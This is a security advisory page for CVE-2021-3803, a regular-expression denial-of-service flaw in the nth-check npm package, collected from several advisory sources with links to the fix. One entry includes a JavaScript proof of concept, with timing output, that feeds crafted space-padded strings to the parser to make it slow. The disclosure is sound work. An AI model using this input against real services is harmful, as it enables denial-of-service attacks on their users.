Inefficient Regular Expression Complexity in fb55/nth-check
cve-program · CVE-2021-3803
Publishednth-check is vulnerable to Inefficient Regular Expression Complexity
Read the publisher's advisoryeuvd · EUVD-2021-2109
Publishednth-check is vulnerable to Inefficient Regular Expression Complexity
Read the publisher's advisorynvd · CVE-2021-3803
Publishednth-check is vulnerable to Inefficient Regular Expression Complexity
Read the publisher's advisoryosv · GHSA-rp65-9cf3-cjxr
PublishedThere is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks. The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code. **Proof of Concept** ```js // PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } } ``` **The Output** ``` attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms ```
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2021-3803 · CVE overview and exploitation status
cve-program · CVE-2021-3803
- https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0
- https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726
- https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html
euvd · EUVD-2021-2109
- https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0
- https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726
- https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html
nvd · CVE-2021-3803
- https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726
- https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0
- https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html
osv · GHSA-rp65-9cf3-cjxr
Related changes
Linked by CVE identifierNo related changes are available here.